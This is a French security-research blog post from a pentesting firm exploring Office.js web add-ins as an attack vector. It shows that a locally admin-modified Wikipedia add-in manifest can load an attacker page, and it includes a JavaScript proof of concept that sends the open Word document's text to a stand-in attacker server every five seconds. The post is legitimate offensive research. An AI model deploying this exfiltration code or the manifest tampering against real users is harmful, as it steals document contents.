digitemis 
Sécurité offensive
Gouvernance & conformité
Protection des données
Il y a quelques semaines, dans le cadre de ses recherches sur les surfaces d’attaque propres aux environnements Microsoft, notre pentester Vincent Fourcade s’est intéressé à l’API Office.js. En explorant les mécanismes des compléments Web dans la suite Office, il a mis au jour plusieurs comportements qui méritent toute notre attention, notamment dans une perspective offensive. Voici le récit de son investigation.
Contexte : la suite Office, cible privilégiée des attaques
Il existe de nombreuses interactions possibles entre de nombreuses technologies et protocoles lorsqu’on parle de Windows et de la suite Office. Celle-ci est souvent la cible d’attaques, de tentative de compromission et d’hameçonnage. Si aujourd’hui les macros ne sont plus exécutées par défaut, par le passé elles constituaient un véhicule efficace pour les attaquants. Nous serions néanmoins peu avisés de considérer nos environnements bureautiques comme sûrs et exempts de vulnérabilité.
En tout état de cause, une masse de logiciels aussi importante, embarquant une multitude d’options et de personnalisations ne sera à l’abri de dysfonctionnement amenant à un problème de sécurité.
Premiers pas avec Office.js et JavaScript
Découverte de l’API Office.js
C’est en travaillant au départ, par simple curiosité, sur JavaScript et ses moultes utilisations (pour rappel JavaScript est aujourd’hui bien plus qu’un simple langage navigateur) que j’ai découvert l’API Office.js. Distribuée par Microsoft, cette API permet entre autres de développer des compléments pour les outils de la suite Office ; Word, Outlook, Excel, OneNote, PowerPoint.
Les deux types de compléments Office
Les compléments sont des extensions permettant d’ajouter des fonctionnalités personnalisées aux applications Office. Il en existe deux types :
- Les compléments COM (ou « durs ») : Historiquement, ces compléments sont installés localement sur l’ordinateur et s’intègrent directement aux applications via des DLL ou d’autres composants natifs. Ils offrent des performances optimales, mais nécessitent une installation spécifique.
- Les compléments Web : Plus modernes, ils sont basés sur des technologies web (HTML, CSS, JavaScript) et utilisent l’API Office.js pour interagir avec les applications Office. Hébergés en ligne, ils offrent une plus grande flexibilité et compatibilité multiplateforme, notamment avec Office sur le Web et les versions mobiles.
Ces compléments permettent d’automatiser des tâches, d’intégrer des services tiers et d’améliorer l’expérience utilisateur au sein des outils Office.
Focus sur les compléments Web Office.js
C’est aux compléments Web, et donc à la suite Office.js que nous nous intéresserons dans la suite cet article. Contrairement aux compléments COM traditionnels, ils sont basés sur des technologies Web (HTML, CSS, JavaScript) et utilisent l’API Office.js pour interagir avec les documents et les données de l’utilisateur.
Installation d’un complément Office.js en mode développeur
Chargement manuel via un manifeste XML
- Chaque complément Web Office est défini par un fichier manifeste XML, qui décrit ses permissions, les applications compatibles et son point d’entrée (généralement une page Web hébergée).
- Dans Word, Excel ou PowerPoint (client lourd), il est possible de charger un complément personnalisé via :
- Fichier → Options → Compléments → Gérer : Compléments Office → Accéder aux compléments → Télécharger mon complément.
- Sélectionner ensuite le manifeste XML pour l’installer temporairement.
- Dans Word, Excel ou PowerPoint (client lourd), il est possible de charger un complément personnalisé via :
Le fichier manifest.xml est un élément clé du complément Web. Il contient :
- L’ID du complément (GUID unique)
- Le nom et la description
- Les autorisations et l’accès aux API Office.js
- La liste des hôtes compatibles (Excel, Word, Outlook, etc.)
- L’URL du point d’entrée du complément
Exemple de fichier manifest.xml
<?xml version= »1.0″ encoding= »UTF-8″?>
<OfficeApp xmlns= »http://schemas.microsoft.com/office/appforoffice/1.1″
xmlns:xsi= »http://www.w3.org/2001/XMLSchema-instance » xsi:type= »TaskPaneApp »>
<Id>12345678-90AB-CDEF-1234-567890ABCDEF</Id>
<Version>1.0</Version>
<ProviderName>0rk31in</ProviderName>
<DefaultLocale>en-US</DefaultLocale>
<DisplayName>Hacked</DisplayName>
<Description>La description : ) </Description>
<Hosts>
<Host Name= »Workbook »/>
</Hosts>
<DefaultSettings>
<SourceLocation DefaultValue= »https://localhost:3000/index.html »/>
</DefaultSettings>
<Permissions>ReadWriteDocument</Permissions>
</OfficeApp>
Compléments installés par défaut dans Office
Microsoft fournit plusieurs compléments intégrés par défaut dans Office, accessibles via l’onglet Compléments. Certains exemples incluent :
- Wikipédia : Recherche et citation d’informations directement depuis Office.
- Icons by Noun Project : Permet d’insérer des icônes vectorielles dans les documents.
- Microsoft Translator : Traduction de texte en temps réel.
- People Graph : Génération de graphiques interactifs basés sur des données Excel.
Ces compléments sont généralement installés automatiquement mais peuvent être désactivés ou supprimés via les options Office.
Une entreprise pourrait également développer un complément et l’installer par défaut sur l’ensemble des postes utilisateurs. Celui-ci serait alors accessible pour chaque membre sujet aux politiques de groupe.
Installer un complément Web avec un compte restreint
Sur un poste avec des droits limités il ne semble pas possible d’installer de complément Web facilement. L’option est désactivée et, s’il apparaît envisageable de jouer avec les registres pour ajouter un « manifest.xml » dans : HKCU:\Software\Microsoft\Office\16.0\WEF\TrustedCatalogs
Force est de constater que cette méthode a échoué dans mon cas.
Analyse et modification d’un manifest.xml existant
Lors de l’analyse d’un fichier XML, il devient vite évident qu’en ce dernier réside l’ensemble des éléments nécessaires à l’ajout d’un complément dans nos outils Office.
En effet, la balise « <SourceLocation DefaultValue= »https://localhost:3000/index.html »/> » détermine l’URL du serveur hébergeant notre complément.
Les balises <hosts> quant à elles déterminent sur quels outils le complément sera effectif (WorkBook pour Excel, Document pour Word…).
Étude de cas : le complément Wikipédia
Le complément Wikipédia étant installé par défaut il est intéressant de rechercher son manifest.xml et de l’analyser. Après investigation, il apparaît que les fichiers relatifs aux compléments Web installés pour un utilisateur dans Office sont stockés ici :
C:\Users\admin\AppData\Local\Microsoft\Office\16.0\Wef\{A59A42A2-8F20-4210-BBF3-4E7513A9A336}\Omex\cW62CjqfKsYKtzaTm7cWmA==
Les noms de fichiers et dossiers sont réécrits à l’installation et le chemin correspond au contexte local.
Il est relativement simple d’identifier le fichier manifeste associé au complément Wikipédia :
La première constatation est la présence de cette signature, qui d’emblée devrait calmer les ardeurs de toute personne curieuse ayant la volonté d’installer un complément Web d’une manière détournée.
Cependant, il ne coûte rien d’essayer une modification d’un fichier, ce ne serait pas la première fois que nous observerions une signature non vérifiée.
Ici la <SourceLocation a été définie comme https://www.digitemis.com, et c’est non sans surprise que nous constatons l’intégration du site d’entreprise au sein de notre complément Web.
Jusqu’où aller avec Office.js ? Quelques limites
Plusieurs questions suivent alors cette constatation :
- Jusqu’où pouvons-nous aller avec l’API Office ?
- Ce comportement est-il réalisable avec un compte local standard ? (ici nous sommes admin local)
- Les compléments sont activables sur l’ensemble des outils, pouvons-nous facilement activer notre complément malveillant sur Outlook (où l’impact en termes de persistance serait bien plus dangereux).
Concernant les deux premières, nous ne pouvons qu’être déçus. Il ne semble pas possible (ou de manière aussi simple) de modifier un « manifest » sans être administrateur local, même sur les compléments de l’utilisateur courant. La signature semble être vérifiée lors de l’appel aux éléments Web.
De plus, si l’API Office offre de nombreuses interactions avec le logiciel courant (Outlook, Word, Excel…) il est impossible de sortir de ce contexte. À l’instar de n’importe quel navigateur, l’exécution du JavaScript est cloisonnée.
Enfin, il est apparu plus complexe d’activer un complément frauduleux sur Outlook, bien que cela ne semble pas impossible.
Proof of concept : keylogger sur Word via Office.js
Pour illustrer les interactions possibles entre Office.js et Word, le code JavaScript ci-dessous s’exécute comme un petit enregistreur de frappe dans le contexte du fichier Word courant :
Office.onReady(() => {
Word.run(async (context) => {
const doc = context.document;
const range = doc.getSelection();
range.insertText(« Hacked ! », « Replace »);
await context.sync();
async function sendText(text) {
console.log(« send text »);
try {
await fetch(« https://server.malveillant.com/extract.php », {
method: « POST »,
headers: { « Content-Type »: « application/x-www-form-urlencoded » },
body: « data= » + encodeURIComponent(text),
});
} catch (error) {
console.error(« Erreur d’envoi : », error);
}
}
// Fonction pour récupérer le texte du document
async function extractText() {
try {
const range = doc.body;
range.load(« text »); // Charger le texte
await context.sync();
const extractedText = range.text;
if (extractedText.trim().length > 0) {
await sendText(extractedText);
}
} catch (error) {
console.error(« Erreur d’extraction : », error);
}
}
// Exécuter toutes les 5 secondes
setInterval(extractText, 5000);
});
});
L’utilisateur doit ouvrir le complément Wikipédia pour activer le complément malveillant. Une fois celui-ci ouvert, le fichier Word est lu toutes les cinq secondes et son contenu exporté sur le serveur de l’attaquant. Le script PHP du serveur enregistre ensuite ces données dans un fichier « dump.txt ».
Conclusion implicite
Ainsi, cette première approche des compléments Web d’un point de vue « exploitation » laisse légèrement sur notre faim. Cependant, ce n’est qu’un survol rapide des interactions entre outils de la suite Office et JavaScript.
Comme énoncé plus haut, un complément frauduleux installé sur Outlook pourrait être bien plus dévastateur (lecture, envoi de mail…).
Quant aux mécanismes d’installations illégitimes, il ne serait pas surprenant de pouvoir procéder différemment. Via des attaques dites « d’homme du milieu » notamment. Il a été possible durant cette veille ciblée d’intercepter et modifier les flux entre Word et le serveur de Microsoft hébergeant l’API, retournant entre autres choses, les url pointant vers les « manifests ».
Durant cette phase de tests, l’interception du flux d’installation du manifeste s’est révélée impossible. Il ne semble pas que l’opération soit impossible, mais difficilement reproductible en situation d’attaque, c’est évident.
